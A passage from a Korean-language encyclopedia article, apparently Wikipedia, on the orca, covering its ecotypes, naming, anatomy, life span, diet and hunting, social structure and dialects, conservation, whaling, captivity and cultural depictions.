등이며 무리 안에서는 복잡하고 연대 깊은 가족 관계를 형성한다. 종종 거대한 모계 사회를 이루며 서로 독특한 방언의 노래를 이용한다. 비이주성 범고래 무리의 중심은 어미이며 10살 이하의 새끼 및 다 자란 자식들이 구성원이다. 암컷들은 자신의 새끼를 낳기 위해 서서히 어미와 멀어지지만, 수컷들은 어미 곁을 평생 따라다니는 것으로 보인다. 짝짓기를 위해서는 잠시 무리를 떠나지만, 그 뒤에는 어미에게로 돌아온다.[8] 암컷들은 대체로 완만하면서 끝이 뾰족한 등지느러미를 가지고 있다. 같은 지역을 자주 방문하는 곳으로 알려져 있으며, 브리티시컬럼비아주와 워싱턴주 해안에서 자주 나타나기 때문에 가장 많이 연구된 해양 포유류이다. 30년 동안 무려 300마리 이상을 이름 지었다. 이주성: 이들의 주식은 대부분이 다른 해양 포유류이며 물고기는 먹지 않는다. 알래스카주 남부에서는 2마리에서 6마리로 구성되는 작은 무리를 이룬다. 비이주성 무리와 달리 가족끼리 언제나 몰려다니지는 않는다. 이들의 구성원 숫자는 적고 유대감이 덜하며 노래의 방언도 대체로 덜 복잡한 편이다. 암컷의 등지느러미는 비이주성 암컷에 비해 삼각형에 가까운 모양을 띠며, 잿빛으로 보이는 점이나 하얗게 보이는 점이 흩어져 있다. 이들은 해안선을 따라 이동하며, 알래스카주 남부에서 캘리포니아주까지 이동하는 것이 확인된 적이 있다. 원양: 1998년에 혹등고래 연구자들이 범고래가 원양에서 나타났다 사라지는 것을 보고하였다. 이들은 원양을 헤엄쳐 다니면서 물고기와 상어, 바다거북을 잡아먹는다. 60마리가 넘는 개체가 무리지어 다니는 것이 목격되었지만 지금은 이들의 행동에 대해서 많이 알려진 바가 없다. 하지만 유전적으로 비이주성, 이주성 범고래와 구분할 수 있다. 원양의 암컷은 둥그런 등지느러미로 구분된다. 분류별 돌고래와 분류 C에 속하는 범고래. 눈주위의 무늬가 앞쪽으로 기울어져 있다. 다른 지역에서의 범고래는 대체로 잘 연구되어 있지 않지만, 개체의 주식과 사회적 행동에는 관련이 깊은 것이 확인되었다. 물고기를 주식으로 하는 알래스카와 노르웨이 해안의 범고래는 비이주성의 성향을 띠었으며 다른 해양 포유류를 주식으로 하는 아르헨티나 해안의 범고래는 이주성의 성향을 띠었다.[3] 성향이 다른 범고래들은 같은 지역에 살 수는 있지만 서로 피하는 경향이 있다. 한때는 이주성 범고래가 비이주성 무리로부터 쫓겨난 개체로 이루어졌다고 여겨졌지만 나중에 이 두 종류의 범고래의 성향이 뒤바뀌는 일은 없음이 확인되었다. 둘이 분화된 것은 2백만 년 전으로 보이며[9], 이 두 종류의 범고래들이 최고 1만 년 동안 서로 섞이지 않았다는 유전자 연구 결과도 있다.[10] 남극에서는 다음과 같은 3가지 종류가 확인되었다. 분류 A: 보통의 범고래처럼 생겼으며, 원양에서 주로 밍크고래를 사냥함으로써 살아간다.[11] 분류 B: 분류 A보다 작다. 눈 주위에 있는 무늬가 크며, 등은 회색이다. 주로 바다표범을 사냥함으로써 살아간다.[11] 분류 C: 분류 B보다도 작으며, 다른 종류의 범고래보다 더 큰 무리를 형성한다. 눈주위의 무늬가 몸에 평행하지 않고 약간 기울어져 있다. 남극대구만을 사냥한다.[11] 분류 B와 C에 속하는 범고래는 주로 빙산 가까이에 거주하며, 이 지역에 발생하는 조류가 피부를 조금 노랗게 물들일 수도 있다. 이 두 종류가 다른지는 아직까지도 연구가 지속되고 있다.[12][13] 이름[편집] 영어권에서는 이 고래를 killer whale 라 하지만, orca가 훨씬 많이 사용되고 있다. 속명 Orcinus는 "망자(亡者)의 왕국",[14] 또는 "오르쿠스(고대 로마 신화의 저승신)에게 속한"이라는 뜻이다.[15] 고대 로마에서는 범고래를 orca, 복수형으로 orcae 라고 불러써으며, 이것은 그리스어에서 고래 전반을 가리키는 단어 ὄρυξ에서 유래한 것으로 보인다. 1960년대 이후로 영어권에서 orca 라는 단어의 사용이 꾸준히 증가했으며, 현재는 killer whale 과 orca 둘 다 사용되고 있다. orca 라는 단어는 "killer"(살해자)라는 단어의 부정적인 느낌을 피하려는 사람들에게 선호된다.[16] 또한 범고래가 참돌고래과에 속하기 때문에, 덩치 큰 고래를 뜻하는 whale보다 dolphin과 유관계하다고 생각되기 때문이기도 하다.[17] 일부 학자들은 killer whale이라는 이름이 스페인어 asesina ballenas를 오역한 것이 아닌가 추측하기도 하는데, asesina ballenas는 "고래살해자"(whale killer)라는 뜻이다.[18] 그람푸스(Grampus)라는 이름도 한때 사용되었으나, 현재는 거의 쓰이지 않는다. 현재 그람푸스는 리소돌고래를 가리킨다.[19] 한국어로는 흰줄박이물돼지라고도 한다. 옛날에는 솔피(率皮), 해랑(海狼)이라고도 했다. 여러 나라에서 사용하는 범고래 단어는, 대체로 이들의 폭력성을 암시하는 뜻을 담고 있다. 외관[편집] 범고래의 골격 범고래는 까만 등, 하얀 가슴과 옆, 그리고 눈 주위에 있는 흰 무늬로 구분한다. 갓난 새끼는 약간 노란색이나 주황색을 띤다. 덩치가 크며[20] 약 2미터(6.6 피트)까지 자라는 커다란 등지느러미를 지니고 있다. 남극에서 서식하는 개체는 회색이나 흰 등을 지니기도 한다. 수컷의 몸길이는 6~8 m 정도이며, 무게는 최대 6 t 정도 나가나, 사람에게 생포된 최대 크기의 개체의 경우 무게가 10 t에 육박했다고 한다. 암컷은 수컷보다 작으며 몸길이 5~7 m 정도이다. 몸무게는 3~4 t 정도 나간다.[21] 아까 말했던 사람에게 생포된 가장 큰 범고래는 일본 연안에서 발견되었으며, 몸길이 9.8 m, 몸무게는 10 t에 육박했다. 갓 태어난 새끼의 크기도 상당히 큰 편으로, 무게는 180kg이며, 몸길이는 2.4 m 정도이다.[22][23] 범고래가 빨리 이동할 수 있는 것은 유선형 몸체와 상당히 큰 몸집 때문이다. 최고 이동 속도는 시속 56킬로미터에 이르지만, 이 속도로는 아주 짧은 시간(몇 분 정도)만 헤엄칠 수 있는 한계도 지니고 있다. 돌고래와는 달리 범고래의 가슴지느러미는 크고 둥글다. 수컷의 가슴지느러미는 암컷보다 훨씬 크다. 수컷의 등지느러미 또한 암컷보다 두 배 정도 크며 길쭉한 이등변 삼각형처럼 생겼다. 암컷의 등지느러미는 짧고 둥글다.[24] 다 자란 수컷은 다른 해양 동물과 확실히 구분된다.[25] 하지만 원거리에서 볼 때 범고래 암컷이나 새끼는 범고래붙이, 리소돌고래같은 다른 고래와 혼동될 수 있다.[26] 범고래가 수면에 떠오를 때 등지느러미와 무늬를 드러내므로 이때 범고래의 개체적 특징을 잘 확인할 수 있다. 무늬의 유형, 흉터, 상처 등은 개체들을 구분하기에 충분하다. 범고래가 자주 출현하는 북동부 태평양에서는 각 개체의 사진과 이름이 정렬(整列)된 카탈로그를 보유하고 있다. 이 카탈로그를 이용하여 이 지역에서는 더욱 정확한 개체 숫자를 측정할 수 있으며, 범고래의 생태와 사회를 잘 이해할 수 있다. 생애[편집] 암컷은 대체로 15살이 되면 성숙한다. 월경기는 15개월에서 18개월이다. 암컷은 보통 5년마다 한 마리의 새끼를 낳는다. 비이주성 무리를 조사한 결과 번식은 연중 일어나지만 겨울에 많이 일어나는 것으로 나타났다. 갓난 새끼의 생존률은 매우 낮으며, 한 살이 되기 전까지 절반이 생명을 이어가지 못한다. 어미는 새끼를 최대 2년 동안 수유를 하지만 12개월 뒤에는 딱딱한 먹이를 준다. 수컷을 비롯한 모든 무리의 개체가 새끼를 돌본다.[9] 암컷은 대체로 40살까지 새끼를 낳으며, 그동안 평균 5마리의 자식을 둔다. 암컷의 평균 수명은 50살이지만, 70~80살까지 살 경우도 있다. 수컷은 15살에 성적으로 성숙하지만, 보통 21살까지는 번식을 하지 않는다. 수컷은 암컷만큼 오래 살지는 않는데, 평균 수명이 30년이며, 길어봤자 50~60년 정도이다.[8] 하지만 ‘톰’이라는 이름의 수컷은 1843년부터 1932년까지 매년 겨울에 오스트레일리아 해안에서 발견되었는데 이로써 최소 89년은 살았을 것이라고 추론할 수 있다.[27] 사육되는 범고래의 수명은 훨씬 짧아서 보통 25년 이내이다.[28][29] 흰 범고래는 베링해와 세인트로렌스 섬 부근에서 목격되었으며, 러시아 해안에서도 발견되었다. 이들 말고도 전 세계에 발견된 흰 범고래는 외관을 제외하고는 건강 조건 등은 다른 범고래와 차이는 없어 보였다.[30] 분포[편집] 빠르게 이동하기 위해서 범고래는 이렇게 뛰어오른다. 범고래는 전 세계의 대양과 대부분의 바다에 분포한다. 고래류 중에는 흔치 않게 아라비아해와 지중해에서도 발견된다. 하지만 보통은 차가운 바다와 극지방을 선호한다. 간혹 수심 깊은 곳에서 발견된 적이 있지만, 연안에서 더 자주 발견된다. 범고래의 수가 많은 곳은 캐나다에서 알래스카까지 이어지는 북동 태평양 지역, 아이슬란드 부근, 북부 노르웨이 지역이다. 남극 지방에서는 빙산 부근에서 자주 발견되지만 겨울의 극지방에서는 잘 발견되지 않는다. 원양과 열대지방에 서식하는 범고래 숫자는 많지 않지만 분포 영역은 넓은 것으로 알려져 있다. 이 지역에서 자주는 아니지만 발견되는 것을 봐서 범고래가 따뜻한 수온에서 서식이 가능함을 말해준다. 인도네시아와 필리핀 지역에서는 잘 발견되지 않는다. 정확한 전 세계 숫자는 집계된 적이 없지만 남극 지방에서는 7~8만 개체, 열대 태평양에서는 8천 개체가 있는 것으로 추측되고 있다. 한국 연안에서는 문헌상 기록에는 이들이 분포하는 것으로 되어 있지만 본격적인 연구가 진행된 적은 없다. 그렇지만 1999년 연안 고래에 대한 연구가 시작된 뒤로 제주도, 독도, 울산 앞바다, 서해 등지에서 서식하는 것이 확인되었다.[31][32] 어림치를 모두 합하면 전 세계의 범고래 숫자는 10만 마리는 된다고 추측된다. 북극 빙산이 빠른 속도로 녹기 시작함에 따라 범고래의 분포 범위는 허드슨만이나 북쪽으로 확산되고 있으며, 출현 빈도도 잦아지고 있다.[33] 이주성 범고래의 이동 유형은 잘 알려진 바가 없다. 비이주성 범고래는 사라졌다가 해마다 같은 지역에서 발견된다. 수십 년의 연구에도 불구하고 비이주성 범고래들이 그 사이에 어디로 사라지는지는 알려진 바가 없다. 연구자들은 2008년 2월 23일 알래스카 해안에서 흰 범고래를 목격했다.[34] 사냥 대상[편집] 비이주성 범고래. 휜 등지느러미는 이런 암컷의 특징이다. 범고래는 생태계 최상위에 있는 포식자이며, 무리 지어 사냥하기도 하기 때문에 종종 바다의 늑대라고 불린다.[35] 범고래는 하루에 평균 227킬로그램의 먹이를 섭취한다.[36] 범고래의 먹이는 다양하지만 어떤 지역의 개체들은 먹이의 종류가 제한되어 있기도 하다. 예를 들어 노르웨이와 그린란드 연안에 사는 범고래들은 청어를 주로 사냥하며 매해 가을 청어 떼의 이동 경로를 따라다니는 것이 확인되었다. 바다사자를 사냥하기도 한다. 조사에 따르면 북동 태평양에 존재하는 비이주성 범고래군은 65퍼센트의 먹이가 연어이며[3] 어린 연어 어군은 공격하지 않는 행동이 목격되었다. 비이주성 범고래가 다른 해양포유류를 사냥하는 것은 목격된 적은 없지만, 돌고래나 바다사자를 이유 없이 학대해 죽이는 장면은 보고된 바가 있다.[3] 물고기와 여타 냉혈동물[편집] 30종류의 물고기를 범고래가 먹는데 그 중에는 연어, 청어, 다랑어 등이 있고 가끔 상어도 사냥한다. 상어 중에서도 심지어 다른 최상위 포식자인 백상아리를 사냥하기도 한다.[37] 백상아리의 신체 부위 중에서도 간을 주로 먹는 것으로 여겨진다.[38] 다만 이것은 절대로 흔한 일이 아니고 범고래도 상어를 공격할 때 신중을 기한다. 또한 범고래는 상어를 사냥할 때 자기보다 훨씬 작은 개체들이라도 굳이 기습을 해 상어를 뒤집어 놓은채로 사냥하는데, 이는 상어들의 날카로운 이빨과 강력한 턱에 물리면 치명상을 입을 수 있기 때문이다. 그래서 범고래가 뒤집을 수 없을 정도의 크기인 4 m가 넘는 백상아리들은 범고래들이 떼지어 덤비거나 건드리지 않는다. 뉴질랜드에서는 가오리를 사냥하는 것도 목격되었다. 오징어나 문어 같은 무척추동물이나 바다거북 같은 파충류도 사냥한다. 연어는 혼자 혹은 작은 무리를 지어 사냥한다. 하지만 청어를 사냥하는 방법은 다르다. 범고래 무리들은 청어를 일정지역으로 몰아 때려쳐서 잡는다고 알려져 있다. 이러한 사냥법은 노르웨이 해안이나 일부 돌고래에게서만 목격되었다.[39] 다른 포유류[편집] 남극의 빙산군 사이를 헤엄치는 범고래. 얼음 위에 고립되어 있는 아델리펭귄 무리가 보인다. 범고래가 무려 22개 종의 고래류를 사냥한다는 사실이 위장(胃腸) 분석, 직접 목격 등으로 확인되었다. 범고래 무리는 대체로 자신들보다도 큰 쇠정어리고래나 귀신고래 등을 공격하며, 심지어 경우에 따라서는 향고래나 대왕고래를 습격하기도 한다. 보통 어리고 약한 개체를 목표로 삼지만 여러 마리가 협동하여 더 강한 개체도 사냥할 수 있다. 어린 다른 고래를 사냥할 때는 어미로부터 억지로 떼어놓는 전략을 사용한다. 범고래들은 먹이가 되는 목표를 끈질기게 추적하며, 이에 따라 목표는 고립되고 숨이 부족해 질식사하게 된다. 암컷 향고래는 때때로 무리를 지음으로써 자신들과 새끼들을 보호할 수 있다. 이들이 대형 고래를 사냥하는 데에는 많은 시간이 걸린다. 범고래의 먹이가 되는 해양 포유류는 바다표범, 물개, 바다사자, 바다코끼리, 해달 등이 있다. 범고래는 목표를 찾고 제압하기 위해 복잡한 전략을 이용한다. 바다사자들은 박치기나 꼬리의 타격으로 제압하며, 던져서 죽이기도 한다. 고도의 사냥방법을 이용하는 것 또한 목격되었다. 아르헨티나 해안에서는 범고래는 주로 남아메리카바다사자와 남방코끼리물범을 사냥하기 위해 수심이 얕은 지역에도 나타나는데, 바닷가에서 직접 목표를 끌어내기도 한다. 이럴 경우 바닷가에 고립되어 치명적일 수가 있는데 이는 본능에 따른 것이 아니다. 어미들은 새끼에게 사냥법을 가르치기 위해 얕은 바다를 잘 이용한다. 새끼를 가르치기 위해 해안으로 먹잇감을 몰고 필요할 때는 바다로 끌어올 준비를 한다.[9] 빙산 위에 거주하는 바다사자를 사냥하기 위해서는 다른 사냥법을 이용한다. 목표의 위치를 확인한 후 파도를 일으켜서 목표가 바다로 빠지게 하는 것이다. 그런 뒤에는 다른 범고래가 뒷처리를 한다. 하지만 그렇게 함으로써 반드시 목표를 죽이지는 않는데, 아마도 새끼에게 사냥법을 가르치는 과정에서 살려 주는 경우도 있는 것으로 생각된다.[40] 범고래가 사슴, 엘크 같은 육상 포유류를 사냥하는 것 또한 관찰되었다. 주로 해안가의 섬 사이를 건널 때 노리는 것으로 여겨진다.[41] 조류[편집] 범고래가 펭귄이나 가마우지, 갈매기와 같은 조류를 사냥하는 것 또한 확인되었다. 사육되는 범고래가 자신이 먹은 먹이를 토해내서 갈매기를 유인해 잡아먹고, 다른 개체들이 그 방법을 습득한 경우가 있었다.[42][43] 행동[편집] 범고래의 하루 일과는 대개 사냥, 여행, 휴식, 사교로 이루어져 있다. 범고래는 수면에서 매우 활동적인 생태를 보이며, 고개 내밀기, 고래뛰기, 꼬리치기 등의 행동을 한다. 이러한 활동은 구애, 의사소통, 기생충 제거, 놀이 등 여러 가지 목적이 있을 수 있다. 특히 물 위로 머리만 빠끔 내미는 고개 내밀기(Spyhopping)는 범고래가 주위 환경을 더 잘 볼 수 있게 해준다.[44] 사회 구조[편집] 몸 전체를 수면위로 올리는 범고래 범고래는 복잡하지만 아주 안정적인 사회를 형성한다. 비이주성 범고래 무리는 다른 포유류의 사회보다도 더욱 더 안정적이며, 양성의 개체가 평생 어미와 함께 살면서 모계 사회를 형성한다. 암컷의 수명이 최대 90년 정도로 긴 편이기 때문에 4대에서 5까지 대가족을 형성하는 것을 자주 볼 수 있다. 모계선은 상당히 안정적이며, 개체가 이들에게 떨어져 나가는 것은 먹이를 찾거나 짝짓기를 하는 때를 제외하고는 거의 없다. 개체가 무리에서 추방되는 것 또한 확인된 바가 없다.[45] 모계를 중심으로 친척이 모이는 경우도 있으며, 개체 수는 무리당 평균 18마리 정도이며, 울음소리에 독특한 방언이 있다. 하지만 먹이 때문에 몇 주 동안 무리가 나뉠 수는 있다. 이들간의 근친 교배는 없으며, 반드시 다른 무리의 개체와 짝짓기를 한다. 무리는 최대 50마리의 개체를 포함할 수 있다. 때때로 무리끼리 모여서 150마리 이상의 군체를 형성하기도 한다. 비이주성 무리는 부(副)무리를 포함하기도 하는데, 암컷의 자식이나 사촌들로 이루어진다. 비슷한 방언을 지닌 무리끼리 모여 무리를 형성하는 경우도 있다. 이들은 대개 모계 쪽으로 같은 조상에서 내려온 것이다. 여러 군락이 같은 지역에 서식할 수 있으며, 때로는 같이 이동하기도 한다. 무리가 군락을 형성할 경우는 서로 환영 의식을 행한다. 군락의 상위에 있는 최상의 단계는 공동체이다. 이들은 뚜렷한 유대감이 존재하지 않으며 공통된 방언을 쓰지는 않지만, 서로 어울려 다닌다.[46] 이주성 무리의 집단은 상대적으로 작은 편인데, 자식들이 커감에 따라 서서히 모계에서 분화되어 가기 때문이다. 하지만 이주성 무리 간에도 깊지는 않지만 방언으로 인해 서로 간의 관계가 성립된다. 노래[편집] 다른 돌고래처럼 범고래 또한 노래를 많이 이용한다. 서로 의사소통을 하는 데에는 틱틱하는 소리와 휘파람을 주로 사용한다. 활동에 따라 노래는 달라진다. 쉬고 있을 때는 더욱 조용하며, 종종 신호를 보낸다. 북동 태평양의 비이주성 범고래는 이주성 개체보다 더욱 노래를 더 많이 이용한다.[47] 비이주성 개체는 다른 해양 포유류를 만날 때 자신들의 존재를 알리기 위해 신호를 보낸다. 이주성 범고래는 주로 청각이 예민한 다른 포유류를 먹기 때문에 상대적으로 조용하다. 필요할 때에는 작은 소리를 낸다. 비이주성 무리는 독특한 방언을 사용한다. 무리 안의 각 개체는 무리 안에서 쓰이는 독특한 신호를 기억하는 것으로 보인다. 무리마다 독특한 신호가 있어 다른 무리와는 소통이 되지 않을 수도 있다. 하지만 같은 조상에서 분화된 무리 사이에서는 공통되는 신호가 많이 존재할 수 있다. 어미는 새끼를 무리의 방언으로 교육시키는 것으로 보인다. 간단한 것으로 시작해서 새끼가 독특한 방언을 점차적으로 익힐 수 있게 한다. 이는 방언은 본능과 동시에 습득되는 것이라는 것을 말해 준다. 지능[편집] 범고래가 방언을 사용하는 것과 대대로 습득한 지식을 전달하는 것은 문화 중에 하나로 인식되어 왔다. “고래와 돌고래의 문화”라는 논문[48] 에서는 “범고래 무리의 안정된 언어와 행동 문화는 인간 외의 동물이 가진 것들과는 견줄 수 없다.”라고 말하고 있다. 1968년에서 1971년까지 미 해군은 워싱턴주에서 포획된 두 수컷을 군사용으로 활용하려 했지만, 한 마리는 1971년 2월 17일부터 행방 불명이 되었으며, 나머지 한 마리는 1974년에 죽었다.[49] 그 둘의 이름은 각각 소설 《모비 딕》에 나오는 주요 인물인 에이합(Ahab)과 이시마엘(Ishmael)이며, 전자가 실종되어 돌아오지 않은 개체의 이름이다. 보전 상태[편집] 어미와 새끼 환경 파괴 및 먹이의 감소, 어업과의 충돌, 서식처 조건 악화는 전 세계적으로 범고래의 생존을 위협하는 가장 중대한 요소들이다.[3][5] 먹이사슬의 다른 최상위 포식자처럼 범고래는 폴리염화 비페닐(PCB)와 같은 독성 물질이 쌓이는 것에 치명적이다. 워싱턴주 해안의 개체를 조사한 결과 유럽의 항구물범보다 PCB 축적 농도가 높다고 조사되었다. 노르웨이 연안의 범고래 지방 조직에서의 PCB, 살충제, 브롬화난연제(BFR) 농도가 심지어 북극곰보다도 높다고 나타났다. 연어같은 먹이의 감소는 비이주성 무리에게 영향을 준다. 또, 이주성 무리의 먹이인 물범과 바다사자의 개체가 줄어든 것도 확인되었다.[3] 이렇게 먹이가 줄어들면 범고래는 자신의 지방 조직에서 에너지를 생산할 수밖에 없는데, 이럴수록 범고래는 오염 물질에 취약할 수밖에 없다. 일부 비이주성 무리는 보호종으로 지정되었지만, 눈에 띄게 개체 수가 줄어들고 있다.[50] 배의 소음 공해와 같은 인간 활동은 범고래의 의사소통을 방해할 수 있다. 연어 농장에서 나는 소리가 물범을 몰아내기 위해 쓰이기도 하였지만, 결과적으로 범고래도 이 지역을 피했다.[51] 여러 나라의 해군이 사용하는 초음파 탐지도 부정적인 영향을 끼칠 수 있다.[52] 범고래는 또한 고래 관찰의 중요한 대상이 되고는 하는데, 배가 무리에 너무 가까이 접근하거나 이동 경로를 막을 때 스트레스를 주거나 행동 변화를 줄 수 있다.[53] 알래스카에서 일어난 기름 유출 사고는 그 지역의 범고래 무리에게 악영향을 끼쳤다. 사고 이후 연어같은 먹이가 줄어들게 되었으며, 이는 범고래들에게 장기적으로 영향을 줄 것으로 여겨진다. 또한 일부 지역에서 이주성 무리 중 유출 사고에 영향을 받은 개체들이 생식 불능이 됐다는 연구 결과가 있으며, 이들이 향후에 멸종될 가능성이 있는 것으로 보인다.[54] 인간과의 관계[편집] 종으로 확인된 것은 1758년이지만, 인간은 오래전부터 범고래의 존재를 알고 있었다. 문헌에서는 기원전 70년경에 나타난다.[55] 포경업[편집] 노르웨이 연안에서 헤엄치는 성체 수컷 12세기에서 20세기 중반에 개체수가 줄어들 때까지 범고래는 포경의 대상이 되었다. 범고래의 상업적 포경은 1981년에 선포된 포경업 일시 중지로 멈췄다(범고래는 돌고래에 가깝지만 덩치가 크기 때문에 IWC의 제재 대상이 될 수 있었다.). 노르웨이는 1938년부터 1981년까지 해마다 평균 56마리를 잡았다. 한편 일본은 1946년부터 1981년까지 해마다 평균 43마리를 잡았다(전쟁 시의 포획 수는 알려져 있지 않다.). 소련은 1980년에 916마리를 잡았지만, 주로 남극에서 적은 숫자만을 포획했다. 현재는 어느 나라도 범고래를 대대적으로 포획하지 않는다. 생존을 위한 소규모 포획은 주로 인도네시아와 그린란드에서 이루어진다. 포경업 외에도, 범고래는 어업 활동에 지장을 준다는 이유로 살해되어 왔다. 1950년대에는 아이슬란드 해안 조업에 지장을 준다는 이유로, 정부의 요청에 따라 미군이 폭격기와 저격수를 이용해 범고래 무리를 학살하기도 하였다. 결과는 당시에 성공적이었다고 알려졌지만 과도한 어획을 더 비난하는 목소리도 적지 않았다. 이러한 토론은 아직도 지속되고 있으며, 북대서양의 어군 연구를 진행되게 하였다. 범고래가 인간의 포경 작업을 돕기도 한다고 알려져 있다. 상대를 무리지어 한 곳으로 몰고, 포경업자에게 고래의 위치를 알리고, 심지어 죽이는 데까지 동참하기도 하였다. 이러한 일을 한 범고래로는 1840년부터 1930년까지 남부 오스트레일리아 해안에서 서식한 ‘톰’이라는 수컷이며, 이 개체의 유골은 기념을 위해 이 지역의 고래 박물관에 전시되어 있다. 범고래에 대한 공포는 해양공원의 전시 등으로 많이 사라졌다. 사육되는 범고래[편집] 범고래의 지능 및 길들이기 쉽다는 것, 생김새, 크기, 사람과 놀아 주기를 좋아하는 성격은 이들을 전 세계 수족관에 곧잘 전시되는 해양 포유류로 만들었다. 이들을 처음으로 기르기 시작한 곳은 1964년 밴쿠버에 있는 수족관이며, 그 뒤로 15년 동안 60에서 70마리의 범고래가 태평양에서 포획되어 길러지게 되었다. 이렇게 사육을 위해 직접 포획됨에 따라 이 지역의 비이주성 무리가 위협을 받고 있다.[9] 1970년대에서 1980년대 초반까지는 주로 아이슬란드 해협에서 채집되었다. 이후 범고래는 인간들의 사육을 통해 성공적으로 번식하였다. 범고래 사육은 많은 논란을 일으키고 있으며, 많은 단체가 이를 막기 위해 계몽 운동을 펼치고 있다. 사육될 때 등지느러미의 붕괴를 비롯하여 여러 가지 신체적 이상이 생겼으며, 이는 60-90퍼센트의 수컷에게 관찰되고 있다. 사육되는 범고래는 수명이 야생에서보다 짧으며, 30에서 40년 정도를 사는 경우도 있지만 평균 수명은 20년 정도에 불과하다. 그에 비해 야생에서 암컷은 80년을 사며, 수컷은 60년을 산다. 사육 환경은 야생과 전혀 다르며 보통 다른 사회 무리의 개체와 섞여 사육된다.[56] 야생에 비해 턱없이 작은 수조, 기형적인 사회 구조, 그리고 화학적으로 처리된 물이 범고래들에게 스트레스를 준다는 비판이 있으며, 그럼으로써 사육상의 범고래는 자기 자신, 다른 범고래나 심지어 사람에게 공격적으로 변모하기도 한다. 등지느러미 붕괴[편집] 올랜도의 씨월드에 있는 등지느러미가 붕괴된 수컷 사육되는 범고래의 등지느러미 붕괴는 대부분 수컷에게 발생하며, 때때로는 암컷에게도 발생한다. 부분적으로나 한쪽으로 완전히 붕괴되기도 하는데, 이 현상을 설명하는 데에는 여러 가지 이론이 있다. 등지느러미는 콜라겐 조직 때문에 우뚝 설 수 있다. 한편에서는 등지느러미 붕괴가 범고래들의 병으로부터 발생되지는 않는다고 하였으며, 대신 콜라겐 조직의 영구적인 변형으로 발생하는 것으로 설명한다. 원인은 환경과 식성 변경, 단순화된 활동 패턴에 따른 저혈압 또는 콜라겐 조직의 장기적인 열 때문이라는 설이 있다.[57] 씨월드의 가설에 따르면, 사육상의 범고래는 자주 물에 떠오를 수밖에 없기 때문에 콜라겐 조직에 무리가 가서 변형된다고 한다.[58] 고래와 돌고래를 보호하는 사회는 야생보다 턱없이 작은 환경 때문이라고 주장한다.[59] 씨월드에 따르면, 등지느러미의 변형은 각 개체의 건강 상태를 나타내는 지표가 아니라고 한다.[58] 한편 야생에서는 등지느러미가 붕괴되는 일은 그다지 없으며, 있다 하더라도 배와의 충돌 등에서 생기는 경우뿐이다.[57] 기름 유출 사고 이후 기름에 노출된 개체들의 등지느러미가 붕괴되었으며, 끝내 죽고 말았다. 해안가에서 고립된 개체들의 등지느러미가 붕괴된 것이 목격된 바가 있지만, 바다로 돌아간 후 원래 모습을 되찾은 것이 확인되었다.[57] 뉴질랜드 연안에 서식하는 23퍼센트의 개체가 휜 등지느러미를 가진다고 보고[58][60] 되었지만, 이들은 여러 가지 변형을 모두 포함한다.[61] 뉴질랜드의 연구에 따르면, 30마리 중 2마리는 몸 전체에 많은 흉터를 지니고 있음이 드러났다.[61] 브리티시 컬럼비아 해안에서의 변형률은 4.7퍼센트이며 노르웨이에서는 0.57퍼센트이다.[61] 인간을 공격한 사례[편집] 드물지만 야생 범고래가 인간에게 해를 끼친 예는 몇 번 확인되었다. 일례로, 알래스카에서 수영을 하던 소년이 범고래에게 쫓긴 사건과 탐험대가 정박하고 있던 얼음을 흔들리게 했던 적이 있다.[62] 범고래에게 쫓긴 소년이 살던 곳은 알래스카에서도 항구물범이 많이 서식하는 지역이며, 범고래는 소년을 물범 중 하나로 오인한 것으로 보인다. 소년을 쫓기는 했었으나 물지는 않았다. 탐험대에게 일어난 사건에는 개가 끄는 썰매가 물범처럼 보여 범고래들을 부추긴 것으로 보인다. 인터넷 상에 돌아다니기도 하는 공격 영상은 조작된 것이 많다. 공격 사례는 오히려 사육되는 개체가 저지른 경우가 많다. ABC뉴스는 1970년대부터 24명정도의 인간을 공격했다고 보고했다.[63] 다른 공격 사례[편집] 잘 알려진 공격 사례는 1989년 8월, 씨월드에서 일어났다. 칸두 V라는 힘센 암컷이 새로 들어온 코키 II를 쇼 도중에 공격한 것이다. 코키 II는 태평양 마린랜드에서 들여왔으며, 사건 당시에 큰 소리가 났다. 조련사들이 이 범고래를 진정시키려고 노력했지만 칸두 V의 턱에 있는 동맥은 손상되어 있는 상태였다. 관중들은 공연장 밖으로 대피했으며, 45분 뒤 칸두 V는 사망했다. 본 프리(Born Free Foundation)라는 동물 보호 단체에서는 씨월드에 코키 II를 계속 사육하는 것에 대해 비판했으며 씨월드가 코키 II를 브리티시컬럼비아에 있는, 가족이 있는 고향으로 돌려 보내기를 원했다.[64] ‘나무’라는 사육되던 개체는 세균성 감염 때문에 신경계가 손상되었으며, 그에 따라 사람에게 반응하지 않게 되었다. 결국에는 살던 우리에 전속력으로 전진해 요동치다가 몇 분 뒤에 죽었다.[65] 그에 대한 다큐멘터리가 뒤에 만들어졌다.[66] 문화[편집] 섬을 범고래와 고래가 둘러싸는 모습을 그린 그림 북아메리카 북서 지방의 원주민 문화, 종교 관련물에는 범고래가 많이 등장한다. 시베리아 유피크 원주민의 전래 동화에 따르면, 늑대와 범고래는 같은 존재로서 겨울이 되면 늑대로 여름이 되면 범고래로 변한다는 믿음이 전해 내려온다.[67][68][69][70] 범고래는 바다에서 바다코끼리를 몰면서 사냥꾼을 돕는다는 믿음이 있다.[71] 배에 범고래의 그림을 새기거나 사냥할 때에 범고래가 새겨진 나무판을 걸고 다니면서 범고래를 숭앙했던 것으로 보인다.[72] 범고래들에 대한 예의로 담배를 바다에 던지기도 하였다.[71] 범고래가 늑대로 변한 뒤에도 순록을 몰아줌으로써 사냥꾼들을 돕는 것으로 여겨졌다.[70] 서방의 문학에서는 Orca라는 이름으로 이따금 등장하기도 했다. 하지만 이곳에서는 대개 사람을 해치는 바다괴물로 묘사되었다. 이러한 묘사는 1970년대까지 지속되었다. 영화 《오르카》는 인간 때문에 짝을 잃은 수컷이 복수심으로 말미암아 광포하게 행동함을 묘사한다. 이 영화는 오르카가 복수할 수도, 결말에는 끝내 인간을 용서할 수도 있는 지능을 지니고 있음을 간접적으로 보여 주고 있다. 《죠스》라는 영화에서는 백상아리를 사냥하는 배의 이름이 “오르카”였다. 최근에 범고래에 대한 연구가 늘고 해마다 인기가 증가하면서 범고래의 늑대 같은 이미지는 지워져 버렸다. 지금은 바다의 포식자이면서 인간에게는 해를 끼치지 않는 동물로 인식되고 있다. 애니메이션 영화 《해피피트》에서는, 주인공 일행을 공격한 2마리의 수컷 범고래를 강력하고 영리한 포식자이자 놀기를 좋아하는 동물로 묘사했으며, 인간이 일으킨 해양 오염의 많은 피해자 중에서 하나로 표현하였다. 이들 중 한 범고래는 프로펠러에 입은 상처를 지니고 있으며, 배에 대한 공포심이 강한 것으로 묘사된다. 범고래의 부정적인 